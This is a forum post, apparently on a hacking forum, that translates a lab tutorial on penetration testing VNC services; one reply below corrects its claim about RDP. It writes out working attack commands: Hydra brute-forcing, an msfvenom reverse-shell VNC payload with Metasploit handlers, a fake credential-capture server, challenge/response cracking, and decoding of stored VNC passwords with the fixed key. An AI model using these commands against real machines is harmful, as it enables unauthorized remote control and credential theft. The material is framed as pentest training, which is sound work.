• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Пентест сервиса VNC

yashechka

Генератор контента.Фанат Ильфака и Рикардо Нарвахи
Эксперт
Регистрация
24.11.2012
Сообщения
2 344
Реакции
3 563
В этой статье мы обсудим внутренний пентест на сервер VNC. Посредством этого мы попытаемся объяснить, как злоумышленник может нарушить безопасность различными сценариями с установкой и настройкой, разведкой и мерами предосторожности.

Введение

VNC или Virtual Network Computing - это служба, которая использует протокол удаленного буфера кадра для обеспечения графического удаленного доступа к другой системе. Это интерактивный сеанс, поскольку пользователь может вводить данные с помощью мыши и клавиатуры через VNC. Такое определение кажется настолько похожим на протокол удаленного рабочего стола, но между ними есть заметная разница. VNC не зависит от платформы, что означает, что он может работать с Linux и Windows, тогда как RDP может работать только между двумя машинами Windows.

Сервис VNC был разработан Olivetti & Oracle Research Lab в Великобритании. Многие службы являются производными от VNC, который был выпущен с открытым исходным кодом под Стандартной общественной лицензией GNU. Однако VNC и RFB, которые мы обсуждали ранее, являются товарными знаками RealVNC Ltd. В США.

Теперь, когда у нас есть краткое представление о службе VNC, давайте обсудим аспект безопасности. На момент изобретения протокол RFB вовсе не был безопасным. Пароли, которые были реализованы в сервисе, вначале были обычным текстом, но теперь это не так. В статье мы подробно рассмотрим, как выглядит трафик аутентификации VNC.

Требования

В реальных средах будет сложная настройка, в которой будет использоваться VNC, однако, чтобы немного упростить понимание, мы возьмем базовую настройку, которая будет включать 3 машины. Мы будем использовать машину Windows в качестве хоста, и все 3 машины, описанные ниже, будут размещены виртуально.

- Машина с Ubuntu: Сервер VNC Server
- Машина с Kali Linux: Атакующая система
- Машина с Windows 10: Клиент System


Подготовка лабы

Чтобы приступить к установке и настройке сервера VNC на нашей машине с Ubuntu, мы поднимем права до уровня root от обычного пользователя.
Затем мы установим xfce4 и его пакеты. Это обеспечит среду рабочего стола, которую мы можем использовать для подключения через VNC. Мы рекомендуем загрузить и обновить информацию о пакете из всех настроенных источников с помощью простого apt update и upgrade.

apt install xfce4 xfce4-goodies

200.png


Во время установки xfce4 вам будет предложено приглашение, требующее вашего ответа для предпочтительного диспетчера окон между рабочими столами. Это произошло из-за конфликта двух менеджеров дисплея: gdm3, который предустановлен вместе с базовой установкой ubuntu, и lightdm, который поставляется с xfce4. Пакет, который вы выберете, зависит от вас. Однако мы использовали менеджер по умолчанию, то есть gdm3.

201.png


После завершения установки xfce4 мы продолжим установку сервера TightVNC. Как мы обсуждали ранее во введении, некоторые службы были унаследованы от исходного VNC, TightVNC - это бесплатная служба с открытым исходным кодом для Windows и Linux.

apt install tightvncserver

202.png


Затем мы запустим команду vncpasswd, чтобы установить пароль доступа VNC. Он создаст файлы начальной конфигурации, необходимые для работы VNC. Команда потребует от нас ввести пароль и подтвердить его.

vncpasswd

203.png


На предыдущем шаге мы увидели, что файл конфигурации с паролем был создан внутри скрытого каталога с именем /root/.vnc. Это означает, что если мы хотим установить какие-либо другие конфигурации, мы должны сделать это в том же каталоге. Нам понадобится файл запуска, который может сообщить VNC, что нужно запустить набор команд, как только он подключится. Он может включать любые команды в соответствии с вашими требованиями, но для этого требуется одна команда, без которой он не может работать правильно.

cd .vnc
nano xstartup

204.png


Мы будем создавать файл конфигурации с именем xstartup. Он будет содержать среду рабочего стола, которую VNC должен использовать при подключении к серверу. Поскольку мы установили xfc4, мы будем использовать его как среду рабочего стола по умолчанию.

#!/bin/bash
xrdb $HOME/.Xresources
startxfce4 &


205.png


Теперь, когда мы создали файл запуска, нам нужно предоставить ему соответствующие разрешения, чтобы он мог быть запущен при необходимости. На этом мы завершаем настройки, необходимые для работы VNC. Теперь у нас осталась задача запустить VNC-сервер на нашей машине с Ubuntu. Для этого мы используем команду vncserver. Мы видим, что только что созданный файл запуска используется для запуска набора команд, которые будут настраивать среду рабочего стола по нашему выбору.

chmod 777 xstartup
vncserver


Мы подключаемся к нашей машине Kali Linux и используем vncviewer для подключения к серверу VNC, работающему на нашей машине Ubuntu. Для подключения нам нужен IP-адрес сервера и порт, на котором работает служба. Поскольку мы не меняли порт для службы, он будет равен 5901. Сервер предложит нам предоставить пароль, который мы установили ранее для подключения. После ввода мы увидим, что у нас есть удаленный экземпляр нашей машины Ubuntu с xfc4 Desktop Environment.

vncviewer 192.168.1.46:5901

206.png


Сканирование портов

Поскольку мы находимся на нашей машине Kali Linux, мы можем использовать ее для сканирования портов на нашем VNC-сервере, чтобы увидеть, как будет выглядеть работающая служба, когда злоумышленник попытается сделать то же самое. Он также проинформирует нас об информации и знаниях, которые реальный злоумышленник может получить, выполнив сканирование портов на нашем сервере. Мы видим, что порт 5901 запускает сервер VNC. Мы также видим, что протокол VNC, на котором работает сервер 3.8. Это непреднамеренная информация, которая не должна быть видима таким образом. Давайте копнем глубже.

nmap -p 5901 -sV 192.168.1.46

207.png


Nmap также выполняет сканирование скриптов. Среди этих сценариев существует сценарий vnc-info, который полезен для разведки и извлечения сведений о службе VNC. Мы выполнили сканирование сценария Nmap и снова увидели, что версия протокола - 3.8, но теперь мы также видим, что используемый механизм аутентификации - это аутентификация VNC, о которой мы поговорим позже в этой статье. Мы также видим, что установка TightVNC основана на аутентификации. Теперь мы можем видеть, что существует значительная информация, которую злоумышленник может собрать, основываясь только на сканировании Nmap'ом.

nmap -p 5901 --script vnc-info 192.168.1.46

208.png


Взлом паролей


Поскольку мы выполнили небольшую разведку на нашем сервере VNC, пришло время протестировать механизм аутентификации. На предыдущих шагах мы видели, что для подключения к серверу нам требуется пароль. Мы попробуем провести атаку грубой силой. Это не совсем тупой Bruteforce, а скорее спланированный словарь с возможными и ненадежными паролями. Мы использовали Гидру для атаки. Она требует, чтобы мы предоставили словарь паролей, IP-адрес сервера и порт, на котором работает служба. Поработав некоторое время, мы видим, что Hydra смогла взломать пароль для VNC-сервера, он равен 12345678.

hydra -s 5901 -P pass.txt -t 16 192.168.1.46 vnc

209.png


Перенаправление порта


Поскольку мы увидели, насколько просто было сначала обнаружить службу, а затем выполнить атаку Bruteforce, которая может привести к компрометации нашей машины, мы можем придумать метод, который нам поможет. Мы можем изменить порт, на котором работает служба, на необычный порт, о котором злоумышленник не сможет догадаться. Это включает в себя внесение изменений в файл vncserver. Он находится в /usr/bin/vncserver. Для этой задачи мы можем использовать любой текстовый редактор. Здесь у нас есть переменная vncPort. Вы можете либо полностью изменить его значение, либо закомментировать его и сделать новую запись. Мы закомментировать старое значение и добавили новое значение 4455.

$vncPort = 4455 ;

210.png


После сохранения текстового файла и перезапуска сервера VNC мы можем быть уверены, что служба теперь будет работать на порту 4455. Чтобы проверить эту гипотезу, мы вернемся к Kali, здесь мы снова выполним сканирование портов с помощью Nmap и увидим, что действительно служба обнаружена на новом порте и можно подключиться к VNC на 4455.

nmap -p4455 -sV 192.168.1.46
vncviewer 192.168.1.46:4455


211.png


Эксплуатация

Завершив разведку и брутфорс на сервере VNC, мы можем перейти к эксплуатации сервера VNC. Возвращаясь к основам, мы осознаем тот факт, что для эксплуатации машины нам требуется полезная нагрузка. Для этой задачи мы будем использовать генератор полезной нагрузки msfvenom. Мы будем использовать полезную нагрузку, которая является частью модуля vncinject в Metasploit, чтобы полученный сеанс был готов для желаемого соединения VNC. Поскольку мы нацелены на упомянутую машину Windows, мы создали исполняемую полезную нагрузку, как показано на изображении ниже.

msfvenom -p windows/x64/vncinject/reverse_tcp lhost=192.168.1.2 lport=5432 -f exe > vnc.exe

212.png


Затем мы передаем полезную нагрузку на целевую машину. Именно здесь разные злоумышленники решают, какой метод они хотят использовать, чтобы заставить жертву загрузить и запустить полезную нагрузку. Пока выполняется передача, мы будем открывать Metasploit и запускать мульти-обработчик, который может получать соединение, которое инициирует выполнение полезной нагрузки. Как мы видим в нашей демонстрации ниже, мы можем получить реверс соединение, а затем Metasploit запустит программу просмотра VNC.

use exploit/multi/handler
set payload windows/x64/vncinject/reverse_tcp
set lhost 192.168.1.2
set lport 4532
exploit


213.png


Увидев запуск программы просмотра VNC, мы также можем увидеть, что окно TightVNC открывается с подключением к целевой машине Windows. Вот как мы можем напрямую получить сеанс VNC на целевой машине.

214.png


Постэксплуатация

В разделе =Эксплуатация= мы уже видели, что можем использовать полезную нагрузку для получения полноценного сеанса VNC на машине, но что, если вам, как злоумышленнику, нужен не только сеанс VNC, но и сеанс метепретера на цели. Или, если был бы сценарий, когда вы смогли получить сеанс meterpreter на машине и хотите также получить сеанс VNC. Здесь в игру вступает команда run vnc.

215.png


С точки зрения злоумышленника, это хорошее напоминание о том, что если вы можете взломать машину и хотите сеанс на основе графического интерфейса, то все, что вам потребуется, - это простая команда в meterpreter, и вы можете запустить сеанс VNC на своей цели, как показано ниже.

216.png


Подобно тому, как мы преобразовали сеанс meterpreter в сеанс VNC, мы можем использовать модуль пост-эксплуатации, чтобы получить сеанс VNC из любого обратного соединения, которое вы можете установить на целевой машине. Предположим, вы смогли получить обратное соединение на целевой машине, используя простую полезную нагрузку, и сеанс, который вы смогли получить, был сеансом 1. Затем, используя эксплойт payload_inject и локальный порт и идентификатор сеанса, вы можете получить сеанс VNC.

use exploit/windows/local/payload_inject
set payload windows/vncinject/reverse_tcp
set lport 6789
set session 1
exploit


217.png


Как только полезная нагрузка выполняется, она запускает процесс блокнота с идентификатором процесса, а затем инжектирует полезную нагрузку VNC в этот процесс. В нашей демонстрации она использовала идентификатор процесса 2816. Затем эксплойт отправляет стейджер и подключается к целевой машине. За этим следует запуск локальной TCP-ретрансляции между атакующей и целевой машиной. После этого у нас запускается vncviewer в Kali Linux, и мы видим всплывающий сеанс VNC Server, как показано ниже.

218.png


Захват аутентификации с использованием поддельной службы

Из раздела Эксплуатация ясно, что получить сеанс VNC на целевой машине не так просто. Однако можно обмануть цель, чтобы она отказалась от пароля для соединения VNC. В Metasploit есть модуль, предназначенный для подделки службы VNC, которая обманывает цель и получает учетные данные. Требуется IP-адрес для размещения службы и расположение файла, в котором будут храниться полученные учетные данные.

use auxiliary/server/capture/vnc
set srvhost 192.168.1.2
set johnpwfile /root/Desktop/
exploit


219.png


Поскольку мы начали с модуля захвата vnc, мы можем проверить, есть ли служба, которая кажется доступной, с помощью сканирования портов по IP-адресу, указанному в параметрах. Мы видим, что служба VNC, похоже, работает на порту 5900.

nmap -p5900 192.168.1.2

220.png


Когда мы пытаемся подключиться к поддельной службе VNC, как и любая жертва, мы увидим, что после ввода правильных учетных данных мы видим, что она выдает нам сообщение об ошибке аутентификации.

vncviewer 192.168.1.2:5900

221.png


Но если мы вернемся к терминалу, на котором мы запустили модуль, мы увидим, что можем захватить Challenge и Response для службы VNC, которую мы подделали. Но этого недостаточно, поскольку нам нужны точные учетные данные для службы, чтобы получить доступ к целевой машине через VNC.

222.png


Взлом хешей

В предыдущем разделе мы смогли захватить Challenge и Response для аутентификации VNC. Если мы хотим подключиться к сервису, нам нужен пароль, который мы можем ввести. Для этого расшифруем пароль от Challenge и Response. Для этой задачи нам нужно установить инструмент vncrack_s. Мы использовали wget, чтобы загрузить его на нашу машину Kali. Так как он поставляется в сжатом виде, мы используем gunzip для его распаковки. Чтобы запустить инструмент, нам нужно предоставить ему разрешения на выполнение.

wget http://www.phenoelit.org/vncrack/vncrack_s.gz
gunzip vncrack_s.gz
chmod +x vncrack_s

223.png


Теперь нам нужно предоставить challenge и response на этот challenge, который мы рассмотрели в предыдущем разделе. Нам также необходимо предоставить словарь со списком возможных паролей, которые можно проверить по комбинации challenge-response. Нам удалось расшифровать пароль из предыдущего захвата. Он равен 1234.

./vncrack_s -c 00112233445566778899aabbccddeeff -r 6f22fe8d8ed0e22fcc09fcbd981b0bac -w pass.txt

224.png


Второй способ

Во введении, где мы обсуждали аспект безопасности сеансов VNC, мы упомянули, что процесс аутентификации не кажется таким безопасным, как другие. Мы также узнали, что если у нас есть challenge и between от аутентификации, то можно взломать пароль. Можно зафиксировать challenge и between, не используя ранее использовавшийся модуль Metasploit. Все, что требуется - это перехватить трафик между сервером и клиентом. Чтобы продемонстрировать это, мы будем захватывать трафик от аутентификации, который происходит между Windows Machine и Ubuntu Server.

225.png


Мы использовали Wireshark для перехвата пакетов сетевого трафика. Когда мы пытаемся установить соединение, как показано на изображении выше, мы видим, что клиенту предоставляется запрос аутентификации, которым в нашем случае является машина Windows.

226.png


Затем, в зависимости от полученного запроса, клиент отправляет свой ответ обратно серверу, чтобы подтвердить подлинность процесса и разрешить ему войти в систему. Это также можно сделать с помощью Wireshark, как показано ниже.

227.png


Выступая за злоумышленника, мы можем перехватить весь трафик и использовать атаку человека посередине. Это означает, что мы сохраняем запрос и ответ аутентификации и с помощью VNCrack можем выполнить атаку типа брутфорс и взломать пароль для VNC.

./vncrack_s -c f7ed47c3ab290fa98ba7044314d0353f -r ead4964f2549ae81723873806ec9931b -w pass.txt

Дамп учетных данных


Использование TightVNC с настройками по умолчанию может создать угрозу безопасности, даже если злоумышленник просто перехватит сетевой трафик. Если устройство используется для доступа к другой машине через TightVNC, учетные данные могут быть скомпрометированы. Чтобы понять, мы подключаемся к машине по адресу 192.168.1.46:5901, как показано на изображении ниже.

228.png


Как мы узнали из предыдущих примеров, мы знаем, что сервер запросит учетные данные для подключения. Законный пользователь сможет предоставить их.

229.png


После того, как наш законный пользователь введет правильные учетные данные, он может использовать сеанс, а затем решить сохранить учетные данные с настройками подключения.

230.png


При обнаружении файла, содержащего пароль и настройки подключения, вы обнаружите, что пароль не хранится напрямую в текстовом формате, а сохраняется с какой-то кодировкой. Но давайте выясним, безопасно ли хранить пароль в таком формате.

231.png


Существует инструмент под названием vncpasswd, который может помочь нам проверить, является ли пароль, который мы собрали из файла конфигурации TightVNC, безопасным или нет. Его можно скачать и использовать, склонировав репозиторий с GitHub. После клонирования, перейдя в каталог, мы найдем файл python, который нам нужен для проверки пароля. Мы используем параметр -d для декодирования и -H для шестнадцатеричного вида, и мы видим, что пароль действительно декодирован, а пароль оказался равен 12345678.

git clone https://github.com/trinitronx/vncpasswd.py
cd vncpasswd.py
./vncpasswd.py -d -H f0e43164f6c2e373


232.png



Что ж, если вы не являетесь поклонником систем Linux, есть аналогичный декодер, доступный в исполняемом файле под названием vncpwd.exe. Он не требует никаких параметров, кроме закодированного значения, и мы мгновенно расшифруем пароль.

vncpwd.exe f0e43164f6c2e373

233.png


Работая с TightVNC, мы теперь знаем, что метод, в котором хранится пароль, небезопасен, но почти все альтернативы TightVNC, похожи в своем подходе к хранению паролей. Увидев файл конфигурации UltraVNC, мы видим, что он сохраняет пароль в каталоге ProgramFiles или ProgramFiles (x86) внутри файла ultravnc.ini с именем переменной passwd.

234.png


Мы выполнили подключение и сохранили настройки с паролем так же, как мы это делали с TightVNC, и мы обнаружили, что он также кодирует пароль таким же образом.

235.png


Однако он предоставил нам способ получить учетные данные для UltraVNC разными способами. Вы можете использовать процесс и инструменты, которые мы использовали ранее, но вы также можете использовать этот инструмент постэксплуатации в Metasploit Framework, который может помочь с извлечением хешированного пароля, а также его взломом.

use post/windows/gather/credentials/vnc
set session 1
exploit


236.png


Ранее, когда мы работали с VNCrack, мы видели, что он может расшифровать закодированные учетные данные, когда мы взяли закодированный пароль и использовали его на нашей машине Kali Linux. Однако, если на Ubuntu или любой другой машине Linux мы хотим получить учетные данные, которые могут храниться на том же устройстве, мы также можем использовать VNCrack. Мы попытались протестировать это на нашей машине с Ubuntu, которую установили в качестве сервера VNC. Мы смогли получить пароль в виде открытого текста из файлов конфигурации.

./vncrack_s -C /root/.vnc/passwd

237.png


Как мы знаем, VNC хранит пароли в виде шестнадцатеричной строки в файлах .vnc с использованием ключа шифрования по умолчанию. Используя openssl, мы можем самостоятельно расшифровать закодированный пароль. Сначала мы используем команду echo, чтобы получить туннель закодированного пароля в команду xxd, которая преобразует его в шестнадцатеричное значение, которое затем может быть передано в openssl с ключом шифрования, и, наконец, используем Hexdump, чтобы вернуть пароль обратно в текст, как показано в изображение ниже.

echo -n f0e43164f6c2e373 | xxd -r -p | openssl enc -des-cbc --nopad --nosalt -K e84ad660c4721ae0 -iv 0000000000000000 -d | hexdump -Cv

Заключение

VNC Service - один из наиболее часто используемых сервисов из-за его кроссплатформенного преимущества. Культура пандемии и работы из дома сделала его необходимостью для каждого предприятия. Эта статья служит подробным руководством по выполнению теста на проникновение для VNC. Мы надеемся, что это даст специалистам по тестированию на проникновение необходимое им преимущество перед злоумышленниками, нацеленными на их среду VNC.

Переведено специально для xss.pro
Автор перевода: yashechka
Источник: https://www.hackingarticles.in/vnc-penetration-testing/
 
Последнее редактирование:
между ними есть заметная разница. VNC не зависит от платформы, что означает, что он может работать с Linux и Windows, тогда как RDP может работать только между двумя машинами Windows.
И клиент, и сервер RDP может работать не только на Windows, но и на Linux. Можно успешно подключаться к Linux по протоколу RDP
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх